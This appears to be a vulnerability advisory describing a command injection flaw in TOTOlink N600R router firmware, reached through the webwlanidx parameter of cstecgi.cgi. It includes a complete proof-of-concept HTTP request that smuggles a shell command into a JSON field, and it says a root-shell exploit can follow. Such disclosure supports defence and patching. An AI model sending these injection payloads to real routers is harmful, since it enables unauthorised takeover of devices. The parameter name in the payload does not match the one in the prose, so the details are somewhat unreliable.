TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability
Overview
- Manufacturer's website information:http://www.totolink.cn
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36
1. Affected version
Figure 1 shows the latest firmware Ba of the router
Vulnerability details
The content obtained by the program through the webwlanidx parameter is passed to V5, and then the matching content is passed to V7 through the sprintf function, and then V7 is brought into the cstesystem function
At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
- Use the fat simulation firmware V5.3c.7159_B20190425
- Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 145
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647874864:2
Connection: close
{
"topicurl":"setting/setWebWlanIdx",
"webWlanIdn":"0test$(ls>/tmp/4.txt;)"
}
The reproduction results are as follows:
Figure 2 POC attack effect
Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell



